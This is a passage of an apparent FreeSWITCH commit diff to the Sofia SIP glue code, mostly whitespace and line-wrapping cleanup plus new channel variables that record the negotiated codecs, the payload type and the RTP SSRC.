</span><span class="lines">@@ -1896,13 +1967,13 @@
</span><span class="cx">         private_object_t *tech_pvt = switch_core_session_get_private(session);
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_caller_profile_t *caller_profile;
</span><del>-        const char *sipip, *format, *contact_url; 
</del><ins>+        const char *sipip, *format, *contact_url;
</ins><span class="cx"> 
</span><span class="cx">         switch_assert(tech_pvt != NULL);
</span><span class="cx">         switch_mutex_lock(tech_pvt-&gt;sofia_mutex);
</span><span class="cx">         caller_profile = switch_channel_get_caller_profile(channel);
</span><span class="cx"> 
</span><del>-        if (sofia_glue_check_nat(tech_pvt-&gt;profile, tech_pvt-&gt;remote_ip)) { 
</del><ins>+        if (sofia_glue_check_nat(tech_pvt-&gt;profile, tech_pvt-&gt;remote_ip)) {
</ins><span class="cx">                 sipip = tech_pvt-&gt;profile-&gt;extsipip;
</span><span class="cx">                 contact_url = tech_pvt-&gt;profile-&gt;public_url;
</span><span class="cx">         } else {
</span><span class="lines">@@ -1912,17 +1983,12 @@
</span><span class="cx"> 
</span><span class="cx">         format = strchr(sipip, ':') ? &quot;\&quot;%s\&quot; &lt;sip:%s@[%s]&gt;&quot; : &quot;\&quot;%s\&quot; &lt;sip:%s@%s&gt;&quot;;
</span><span class="cx"> 
</span><del>-        if ((tech_pvt-&gt;from_str = switch_core_session_sprintf(session, format,
-                                                                                                                        caller_profile-&gt;caller_id_name,
-                                                                                                                        caller_profile-&gt;caller_id_number, sipip))) {
</del><ins>+        if ((tech_pvt-&gt;from_str = switch_core_session_sprintf(session, format, caller_profile-&gt;caller_id_name, caller_profile-&gt;caller_id_number, sipip))) {
</ins><span class="cx"> 
</span><span class="cx">                 const char *rep = switch_channel_get_variable(channel, SOFIA_REPLACES_HEADER);
</span><span class="cx"> 
</span><span class="cx">                 tech_pvt-&gt;nh2 = nua_handle(tech_pvt-&gt;profile-&gt;nua, NULL,
</span><del>-                                                                   SIPTAG_TO_STR(tech_pvt-&gt;dest),
-                                                                   SIPTAG_FROM_STR(tech_pvt-&gt;from_str),
-                                                                   SIPTAG_CONTACT_STR(contact_url),
-                                                                   TAG_END());
</del><ins>+                                                                   SIPTAG_TO_STR(tech_pvt-&gt;dest), SIPTAG_FROM_STR(tech_pvt-&gt;from_str), SIPTAG_CONTACT_STR(contact_url), TAG_END());
</ins><span class="cx"> 
</span><span class="cx">                 nua_handle_bind(tech_pvt-&gt;nh2, tech_pvt-&gt;sofia_private);
</span><span class="cx"> 
</span><span class="lines">@@ -2007,18 +2073,18 @@
</span><span class="cx">                 add_stat(stats-&gt;outbound.skip_packet_count, &quot;out_skip_packet_count&quot;);
</span><span class="cx">                 add_stat(stats-&gt;outbound.dtmf_packet_count, &quot;out_dtmf_packet_count&quot;);
</span><span class="cx">                 add_stat(stats-&gt;outbound.cng_packet_count, &quot;out_cng_packet_count&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> void sofia_glue_set_rtp_stats(private_object_t *tech_pvt)
</span><span class="cx"> {
</span><span class="cx">         if (tech_pvt-&gt;rtp_session) {
</span><del>-        set_stats(tech_pvt-&gt;rtp_session, tech_pvt, &quot;audio&quot;);
</del><ins>+                set_stats(tech_pvt-&gt;rtp_session, tech_pvt, &quot;audio&quot;);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (tech_pvt-&gt;video_rtp_session) {
</span><del>-        set_stats(tech_pvt-&gt;video_rtp_session, tech_pvt, &quot;video&quot;);
</del><ins>+                set_stats(tech_pvt-&gt;video_rtp_session, tech_pvt, &quot;video&quot;);
</ins><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -2038,9 +2104,9 @@
</span><span class="cx">                 switch_rtp_release_port(tech_pvt-&gt;profile-&gt;rtpip, tech_pvt-&gt;local_sdp_video_port);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-                
-        if (tech_pvt-&gt;local_sdp_video_port &gt; 0 &amp;&amp; sofia_glue_check_nat(tech_pvt-&gt;profile, tech_pvt-&gt;remote_ip)) { 
-                switch_nat_del_mapping((switch_port_t)tech_pvt-&gt;local_sdp_video_port, SWITCH_NAT_UDP);
</del><ins>+
+        if (tech_pvt-&gt;local_sdp_video_port &gt; 0 &amp;&amp; sofia_glue_check_nat(tech_pvt-&gt;profile, tech_pvt-&gt;remote_ip)) {
+                switch_nat_del_mapping((switch_port_t) tech_pvt-&gt;local_sdp_video_port, SWITCH_NAT_UDP);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -2050,10 +2116,10 @@
</span><span class="cx">                 switch_rtp_release_port(tech_pvt-&gt;profile-&gt;rtpip, tech_pvt-&gt;local_sdp_audio_port);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (tech_pvt-&gt;local_sdp_audio_port &gt; 0 &amp;&amp; sofia_glue_check_nat(tech_pvt-&gt;profile, tech_pvt-&gt;remote_ip)) { 
-                switch_nat_del_mapping((switch_port_t)tech_pvt-&gt;local_sdp_audio_port, SWITCH_NAT_UDP);
</del><ins>+        if (tech_pvt-&gt;local_sdp_audio_port &gt; 0 &amp;&amp; sofia_glue_check_nat(tech_pvt-&gt;profile, tech_pvt-&gt;remote_ip)) {
+                switch_nat_del_mapping((switch_port_t) tech_pvt-&gt;local_sdp_audio_port, SWITCH_NAT_UDP);
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> switch_status_t sofia_glue_tech_set_video_codec(private_object_t *tech_pvt, int force)
</span><span class="lines">@@ -2071,7 +2137,8 @@
</span><span class="cx">                         switch_core_codec_destroy(&amp;tech_pvt-&gt;video_read_codec);
</span><span class="cx">                         switch_core_codec_destroy(&amp;tech_pvt-&gt;video_write_codec);
</span><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Already using %s\n&quot;, tech_pvt-&gt;video_read_codec.implementation-&gt;iananame);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Already using %s\n&quot;,
+                                                          tech_pvt-&gt;video_read_codec.implementation-&gt;iananame);
</ins><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -2116,6 +2183,13 @@
</span><span class="cx">                         tech_pvt-&gt;video_read_codec.agreed_pt = tech_pvt-&gt;video_agreed_pt;
</span><span class="cx">                         switch_core_session_set_video_read_codec(tech_pvt-&gt;session, &amp;tech_pvt-&gt;video_read_codec);
</span><span class="cx">                         switch_core_session_set_video_write_codec(tech_pvt-&gt;session, &amp;tech_pvt-&gt;video_write_codec);
</span><ins>+
+
+                        switch_channel_set_variable(tech_pvt-&gt;channel, &quot;sip_use_video_codec_name&quot;, tech_pvt-&gt;video_rm_encoding);
+                        switch_channel_set_variable(tech_pvt-&gt;channel, &quot;sip_use_video_codec_fmtp&quot;, tech_pvt-&gt;video_rm_fmtp);
+                        switch_channel_set_variable_printf(tech_pvt-&gt;channel, &quot;sip_use_video_codec_rate&quot;, &quot;%d&quot;, tech_pvt-&gt;video_rm_rate);
+                        switch_channel_set_variable_printf(tech_pvt-&gt;channel, &quot;sip_use_video_codec_ptime&quot;, &quot;%d&quot;, 0);
+
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -2138,12 +2212,11 @@
</span><span class="cx">                 }
</span><span class="cx">                 if (strcasecmp(tech_pvt-&gt;read_impl.iananame, tech_pvt-&gt;iananame) ||
</span><span class="cx">                         tech_pvt-&gt;read_impl.samples_per_second != tech_pvt-&gt;rm_rate ||
</span><del>-                        tech_pvt-&gt;codec_ms != (uint32_t)tech_pvt-&gt;read_impl.microseconds_per_packet / 1000) {
-                        
</del><ins>+                        tech_pvt-&gt;codec_ms != (uint32_t) tech_pvt-&gt;read_impl.microseconds_per_packet / 1000) {
+
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Changing Codec from %s@%dms to %s@%dms\n&quot;,
</span><del>-                                                          tech_pvt-&gt;read_impl.iananame, tech_pvt-&gt;read_impl.microseconds_per_packet / 1000, 
-                                                          tech_pvt-&gt;rm_encoding, tech_pvt-&gt;codec_ms);
-                        
</del><ins>+                                                          tech_pvt-&gt;read_impl.iananame, tech_pvt-&gt;read_impl.microseconds_per_packet / 1000, tech_pvt-&gt;rm_encoding, tech_pvt-&gt;codec_ms);
+
</ins><span class="cx">                         switch_core_session_lock_codec_write(tech_pvt-&gt;session);
</span><span class="cx">                         switch_core_session_lock_codec_read(tech_pvt-&gt;session);
</span><span class="cx">                         resetting = 1;
</span><span class="lines">@@ -2154,7 +2227,7 @@
</span><span class="cx">                         switch_goto_status(SWITCH_STATUS_SUCCESS, end);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_core_codec_init(&amp;tech_pvt-&gt;read_codec,
</span><span class="cx">                                                            tech_pvt-&gt;iananame,
</span><span class="cx">                                                            tech_pvt-&gt;rm_fmtp,
</span><span class="lines">@@ -2179,6 +2252,12 @@
</span><span class="cx">                 switch_goto_status(SWITCH_STATUS_FALSE, end);
</span><span class="cx">         }
</span><span class="cx"> 
</span><ins>+        switch_channel_set_variable(tech_pvt-&gt;channel, &quot;sip_use_codec_name&quot;, tech_pvt-&gt;iananame);
+        switch_channel_set_variable(tech_pvt-&gt;channel, &quot;sip_use_codec_fmtp&quot;, tech_pvt-&gt;rm_fmtp);
+        switch_channel_set_variable_printf(tech_pvt-&gt;channel, &quot;sip_use_codec_rate&quot;, &quot;%d&quot;, tech_pvt-&gt;rm_rate);
+        switch_channel_set_variable_printf(tech_pvt-&gt;channel, &quot;sip_use_codec_ptime&quot;, &quot;%d&quot;, tech_pvt-&gt;codec_ms);
+
+
</ins><span class="cx">         switch_assert(tech_pvt-&gt;read_codec.implementation);
</span><span class="cx">         switch_assert(tech_pvt-&gt;write_codec.implementation);
</span><span class="cx"> 
</span><span class="lines">@@ -2191,12 +2270,10 @@
</span><span class="cx">         if (switch_rtp_ready(tech_pvt-&gt;rtp_session)) {
</span><span class="cx">                 switch_assert(tech_pvt-&gt;read_codec.implementation);
</span><span class="cx"> 
</span><del>-                if (switch_rtp_change_interval(tech_pvt-&gt;rtp_session, 
-                                                                           tech_pvt-&gt;read_impl.microseconds_per_packet,
-                                                                           tech_pvt-&gt;read_impl.samples_per_packet
-                                                                           ) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                if (switch_rtp_change_interval(tech_pvt-&gt;rtp_session,
+                                                                           tech_pvt-&gt;read_impl.microseconds_per_packet, tech_pvt-&gt;read_impl.samples_per_packet) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         switch_channel_hangup(tech_pvt-&gt;channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><del>-                        switch_goto_status(SWITCH_STATUS_FALSE, end);                                
</del><ins>+                        switch_goto_status(SWITCH_STATUS_FALSE, end);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -2227,7 +2304,7 @@
</span><span class="cx">                 switch_rtp_set_default_payload(tech_pvt-&gt;rtp_session, tech_pvt-&gt;pt);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx">         if (resetting) {
</span><span class="cx">                 switch_core_session_unlock_codec_write(tech_pvt-&gt;session);
</span><span class="cx">                 switch_core_session_unlock_codec_read(tech_pvt-&gt;session);
</span><span class="lines">@@ -2388,9 +2465,9 @@
</span><span class="cx">         if (myflags) {
</span><span class="cx">                 flags = myflags;
</span><span class="cx">         } else if (!sofia_test_pflag(tech_pvt-&gt;profile, PFLAG_DISABLE_RTP_AUTOADJ) &amp;&amp;
</span><del>-                                !((val = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;disable_rtp_auto_adjust&quot;)) &amp;&amp; switch_true(val))) {
</del><ins>+                           !((val = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;disable_rtp_auto_adjust&quot;)) &amp;&amp; switch_true(val))) {
</ins><span class="cx">                 flags = (switch_rtp_flag_t) (SWITCH_RTP_FLAG_AUTOADJ | SWITCH_RTP_FLAG_DATAWAIT);
</span><del>-    } else {
</del><ins>+        } else {
</ins><span class="cx">                 flags = (switch_rtp_flag_t) (SWITCH_RTP_FLAG_DATAWAIT);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -2433,10 +2510,11 @@
</span><span class="cx">                 switch_port_t remote_port = switch_rtp_get_remote_port(tech_pvt-&gt;rtp_session);
</span><span class="cx"> 
</span><span class="cx">                 if (remote_host &amp;&amp; remote_port &amp;&amp; !strcmp(remote_host, tech_pvt-&gt;remote_sdp_audio_ip) &amp;&amp; remote_port == tech_pvt-&gt;remote_sdp_audio_port) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Audio params are unchanged for %s.\n&quot;, switch_channel_get_name(tech_pvt-&gt;channel));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Audio params are unchanged for %s.\n&quot;,
+                                                          switch_channel_get_name(tech_pvt-&gt;channel));
</ins><span class="cx">                         goto video;
</span><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Audio params changed for %s from %s:%d to %s:%d\n&quot;, 
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Audio params changed for %s from %s:%d to %s:%d\n&quot;,
</ins><span class="cx">                                                           switch_channel_get_name(tech_pvt-&gt;channel),
</span><span class="cx">                                                           remote_host, remote_port, tech_pvt-&gt;remote_sdp_audio_ip, tech_pvt-&gt;remote_sdp_audio_port);
</span><span class="cx"> 
</span><span class="lines">@@ -2461,7 +2539,7 @@
</span><span class="cx"> 
</span><span class="cx">         if (tech_pvt-&gt;rtp_session &amp;&amp; sofia_test_flag(tech_pvt, TFLAG_REINVITE)) {
</span><span class="cx">                 sofia_clear_flag_locked(tech_pvt, TFLAG_REINVITE);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_rtp_set_remote_address(tech_pvt-&gt;rtp_session, tech_pvt-&gt;remote_sdp_audio_ip, tech_pvt-&gt;remote_sdp_audio_port, SWITCH_TRUE, &amp;err) !=
</span><span class="cx">                         SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_ERROR, &quot;AUDIO RTP REPORTS ERROR: [%s]\n&quot;, err);
</span><span class="lines">@@ -2514,8 +2592,7 @@
</span><span class="cx">                                                                                            tech_pvt-&gt;agreed_pt,
</span><span class="cx">                                                                                            tech_pvt-&gt;read_impl.samples_per_packet,
</span><span class="cx">                                                                                            tech_pvt-&gt;codec_ms * 1000,
</span><del>-                                                                                           (switch_rtp_flag_t) flags, timer_name, &amp;err,
-                                                                                           switch_core_session_get_pool(tech_pvt-&gt;session));
</del><ins>+                                                                                           (switch_rtp_flag_t) flags, timer_name, &amp;err, switch_core_session_get_pool(tech_pvt-&gt;session));
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (switch_rtp_ready(tech_pvt-&gt;rtp_session)) {
</span><span class="lines">@@ -2523,9 +2600,18 @@
</span><span class="cx">                 uint8_t vad_out = sofia_test_flag(tech_pvt, TFLAG_VAD_OUT) ? 1 : 0;
</span><span class="cx">                 uint8_t inb = sofia_test_flag(tech_pvt, TFLAG_OUTBOUND) ? 0 : 1;
</span><span class="cx">                 uint32_t stun_ping = 0;
</span><ins>+                const char *ssrc;
</ins><span class="cx"> 
</span><ins>+                if ((ssrc = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;rtp_use_ssrc&quot;))) {
+                        uint32_t ssrc_ul = (uint32_t) strtoul(ssrc, NULL, 10);
+                        switch_rtp_set_ssrc(tech_pvt-&gt;rtp_session, ssrc_ul);
+                }
+
+
</ins><span class="cx">                 switch_channel_set_flag(tech_pvt-&gt;channel, CF_FS_RTP);
</span><del>-                
</del><ins>+
+                switch_channel_set_variable_printf(tech_pvt-&gt;channel, &quot;sip_use_pt&quot;, &quot;%d&quot;, tech_pvt-&gt;agreed_pt);
+
</ins><span class="cx">                 if ((val = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;rtp_enable_vad_in&quot;)) &amp;&amp; switch_true(val)) {
</span><span class="cx">                         vad_in = 1;
</span><span class="cx">                 }
</span><span class="lines">@@ -2542,7 +2628,7 @@
</span><span class="cx"> 
</span><span class="cx">                 if ((tech_pvt-&gt;stun_flags &amp; STUN_FLAG_SET) &amp;&amp; (val = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;rtp_stun_ping&quot;))) {
</span><span class="cx">                         int ival = atoi(val);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (ival &lt;= 0) {
</span><span class="cx">                                 if (switch_true(val)) {
</span><span class="cx">                                         ival = 6;
</span><span class="lines">@@ -2553,11 +2639,13 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 tech_pvt-&gt;ssrc = switch_rtp_get_ssrc(tech_pvt-&gt;rtp_session);
</span><ins>+                switch_channel_set_variable_printf(tech_pvt-&gt;channel, &quot;rtp_use_ssrc&quot;, &quot;%u&quot;, tech_pvt-&gt;ssrc);
+
</ins><span class="cx">                 sofia_set_flag(tech_pvt, TFLAG_RTP);
</span><span class="cx">                 sofia_set_flag(tech_pvt, TFLAG_IO);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_rtp_intentional_bugs(tech_pvt-&gt;rtp_session, tech_pvt-&gt;rtp_bugs);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((vad_in &amp;&amp; inb) || (vad_out &amp;&amp; !inb)) {
</span><span class="cx">                         switch_rtp_enable_vad(tech_pvt-&gt;rtp_session, tech_pvt-&gt;session, &amp;tech_pvt-&gt;read_codec, SWITCH_VAD_FLAG_TALKING);
</span><span class="cx">                         sofia_set_flag(tech_pvt, TFLAG_VAD);
</span><span class="lines">@@ -2566,22 +2654,25 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (stun_ping) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Setting stun ping to %s:%d\n&quot;, tech_pvt-&gt;stun_ip, stun_ping);
-                        switch_rtp_activate_stun_ping(tech_pvt-&gt;rtp_session, tech_pvt-&gt;stun_ip, tech_pvt-&gt;stun_port, 
-                                                                                  stun_ping, (tech_pvt-&gt;stun_flags &amp; STUN_FLAG_FUNNY) ? 1 : 0);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Setting stun ping to %s:%d\n&quot;, tech_pvt-&gt;stun_ip,
+                                                          stun_ping);
+                        switch_rtp_activate_stun_ping(tech_pvt-&gt;rtp_session, tech_pvt-&gt;stun_ip, tech_pvt-&gt;stun_port, stun_ping,
+                                                                                  (tech_pvt-&gt;stun_flags &amp; STUN_FLAG_FUNNY) ? 1 : 0);
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if ((val = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;jitterbuffer_msec&quot;))) {
</span><span class="cx">                         int len = atoi(val);
</span><span class="cx"> 
</span><span class="cx">                         if (len &lt; 100 || len &gt; 1000) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_ERROR, &quot;Invalid Jitterbuffer spec [%d] must be between 100 and 1000\n&quot;, len);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_ERROR,
+                                                                  &quot;Invalid Jitterbuffer spec [%d] must be between 100 and 1000\n&quot;, len);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 int qlen;
</span><span class="cx"> 
</span><span class="cx">                                 qlen = len / (tech_pvt-&gt;read_impl.microseconds_per_packet / 1000);
</span><span class="cx"> 
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Setting Jitterbuffer to %dms (%d frames)\n&quot;, len, qlen);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Setting Jitterbuffer to %dms (%d frames)\n&quot;, len,
+                                                                  qlen);
</ins><span class="cx">                                 switch_rtp_activate_jitter_buffer(tech_pvt-&gt;rtp_session, qlen);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -2601,8 +2692,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (rtp_timeout_sec) {
</span><del>-                        tech_pvt-&gt;max_missed_packets = (tech_pvt-&gt;read_impl.samples_per_second * rtp_timeout_sec) /
-                                tech_pvt-&gt;read_impl.samples_per_packet;
</del><ins>+                        tech_pvt-&gt;max_missed_packets = (tech_pvt-&gt;read_impl.samples_per_second * rtp_timeout_sec) / tech_pvt-&gt;read_impl.samples_per_packet;
</ins><span class="cx"> 
</span><span class="cx">                         switch_rtp_set_max_missed_packets(tech_pvt-&gt;rtp_session, tech_pvt-&gt;max_missed_packets);
</span><span class="cx">                         if (!rtp_hold_timeout_sec) {
</span><span class="lines">@@ -2611,8 +2701,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (rtp_hold_timeout_sec) {
</span><del>-                        tech_pvt-&gt;max_missed_hold_packets = (tech_pvt-&gt;read_impl.samples_per_second * rtp_hold_timeout_sec) /
-                                tech_pvt-&gt;read_impl.samples_per_packet;
</del><ins>+                        tech_pvt-&gt;max_missed_hold_packets = (tech_pvt-&gt;read_impl.samples_per_second * rtp_hold_timeout_sec) / tech_pvt-&gt;read_impl.samples_per_packet;
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (tech_pvt-&gt;te) {
</span><span class="lines">@@ -2648,7 +2737,7 @@
</span><span class="cx"> 
</span><span class="cx">                 sofia_glue_check_video_codecs(tech_pvt);
</span><span class="cx">                 if (sofia_test_flag(tech_pvt, TFLAG_VIDEO) &amp;&amp; tech_pvt-&gt;video_rm_encoding &amp;&amp; tech_pvt-&gt;remote_sdp_video_port) {
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         /******************************************************************************************/
</span><span class="cx">                         if (tech_pvt-&gt;video_rtp_session &amp;&amp; sofia_test_flag(tech_pvt, TFLAG_REINVITE)) {
</span><span class="cx">                                 //const char *ip = switch_channel_get_variable(tech_pvt-&gt;channel, SWITCH_LOCAL_MEDIA_IP_VARIABLE);
</span><span class="lines">@@ -2657,33 +2746,33 @@
</span><span class="cx">                                 switch_port_t remote_port = switch_rtp_get_remote_port(tech_pvt-&gt;video_rtp_session);
</span><span class="cx"> 
</span><span class="cx">                                 if (remote_host &amp;&amp; remote_port &amp;&amp; !strcmp(remote_host, tech_pvt-&gt;remote_sdp_video_ip) &amp;&amp; remote_port == tech_pvt-&gt;remote_sdp_video_port) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Video params are unchanged for %s.\n&quot;, switch_channel_get_name(tech_pvt-&gt;channel));
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Video params are unchanged for %s.\n&quot;,
+                                                                          switch_channel_get_name(tech_pvt-&gt;channel));
</ins><span class="cx">                                         goto video_up;
</span><span class="cx">                                 } else {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Video params changed for %s from %s:%d to %s:%d\n&quot;, 
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Video params changed for %s from %s:%d to %s:%d\n&quot;,
</ins><span class="cx">                                                                           switch_channel_get_name(tech_pvt-&gt;channel),
</span><span class="cx">                                                                           remote_host, remote_port, tech_pvt-&gt;remote_sdp_video_ip, tech_pvt-&gt;remote_sdp_video_port);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if (!switch_channel_test_flag(tech_pvt-&gt;channel, CF_PROXY_MEDIA)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;VIDEO RTP [%s] %s port %d -&gt; %s port %d codec: %u ms: %d\n&quot;,
-                                                                  switch_channel_get_name(tech_pvt-&gt;channel),
-                                                                  tech_pvt-&gt;local_sdp_audio_ip,
-                                                                  tech_pvt-&gt;local_sdp_video_port,
-                                                                  tech_pvt-&gt;remote_sdp_video_ip,
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG,
+                                                                  &quot;VIDEO RTP [%s] %s port %d -&gt; %s port %d codec: %u ms: %d\n&quot;, switch_channel_get_name(tech_pvt-&gt;channel),
+                                                                  tech_pvt-&gt;local_sdp_audio_ip, tech_pvt-&gt;local_sdp_video_port, tech_pvt-&gt;remote_sdp_video_ip,
</ins><span class="cx">                                                                   tech_pvt-&gt;remote_sdp_video_port, tech_pvt-&gt;video_agreed_pt, tech_pvt-&gt;read_impl.microseconds_per_packet / 1000);
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         switch_snprintf(tmp, sizeof(tmp), &quot;%d&quot;, tech_pvt-&gt;local_sdp_video_port);
</span><del>-                        switch_channel_set_variable(tech_pvt-&gt;channel, SWITCH_LOCAL_MEDIA_IP_VARIABLE, tech_pvt-&gt;adv_sdp_audio_ip);
-                        switch_channel_set_variable(tech_pvt-&gt;channel, SWITCH_LOCAL_MEDIA_PORT_VARIABLE, tmp);
</del><ins>+                        switch_channel_set_variable(tech_pvt-&gt;channel, SWITCH_LOCAL_VIDEO_IP_VARIABLE, tech_pvt-&gt;adv_sdp_audio_ip);
+                        switch_channel_set_variable(tech_pvt-&gt;channel, SWITCH_LOCAL_VIDEO_PORT_VARIABLE, tmp);
</ins><span class="cx"> 
</span><span class="cx">                         if (tech_pvt-&gt;video_rtp_session &amp;&amp; sofia_test_flag(tech_pvt, TFLAG_REINVITE)) {
</span><span class="cx">                                 sofia_clear_flag_locked(tech_pvt, TFLAG_REINVITE);
</span><del>-                
-                                if (switch_rtp_set_remote_address(tech_pvt-&gt;video_rtp_session, tech_pvt-&gt;remote_sdp_video_ip, tech_pvt-&gt;remote_sdp_video_port, SWITCH_TRUE, &amp;err) !=
-                                        SWITCH_STATUS_SUCCESS) {
</del><ins>+
+                                if (switch_rtp_set_remote_address
+                                        (tech_pvt-&gt;video_rtp_session, tech_pvt-&gt;remote_sdp_video_ip, tech_pvt-&gt;remote_sdp_video_port, SWITCH_TRUE,
+                                         &amp;err) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_ERROR, &quot;VIDEO RTP REPORTS ERROR: [%s]\n&quot;, err);
</span><span class="cx">                                 } else {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;VIDEO RTP CHANGING DEST TO: [%s:%d]\n&quot;,
</span><span class="lines">@@ -2727,7 +2816,7 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         /******************************************************************************************/
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (tech_pvt-&gt;video_rtp_session) {
</span><span class="cx">                                 goto video_up;
</span><span class="cx">                         }
</span><span class="lines">@@ -2739,8 +2828,7 @@
</span><span class="cx"> 
</span><span class="cx">                         if (!sofia_test_pflag(tech_pvt-&gt;profile, PFLAG_DISABLE_RTP_AUTOADJ) &amp;&amp; !switch_channel_test_flag(tech_pvt-&gt;channel, CF_PROXY_MODE) &amp;&amp;
</span><span class="cx">                                 !((val = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;disable_rtp_auto_adjust&quot;)) &amp;&amp; switch_true(val))) {
</span><del>-                                flags = (switch_rtp_flag_t) (SWITCH_RTP_FLAG_USE_TIMER | SWITCH_RTP_FLAG_AUTOADJ |
-                                                                                          SWITCH_RTP_FLAG_DATAWAIT | SWITCH_RTP_FLAG_RAW_WRITE);
</del><ins>+                                flags = (switch_rtp_flag_t) (SWITCH_RTP_FLAG_USE_TIMER | SWITCH_RTP_FLAG_AUTOADJ | SWITCH_RTP_FLAG_DATAWAIT | SWITCH_RTP_FLAG_RAW_WRITE);
</ins><span class="cx">                         } else {
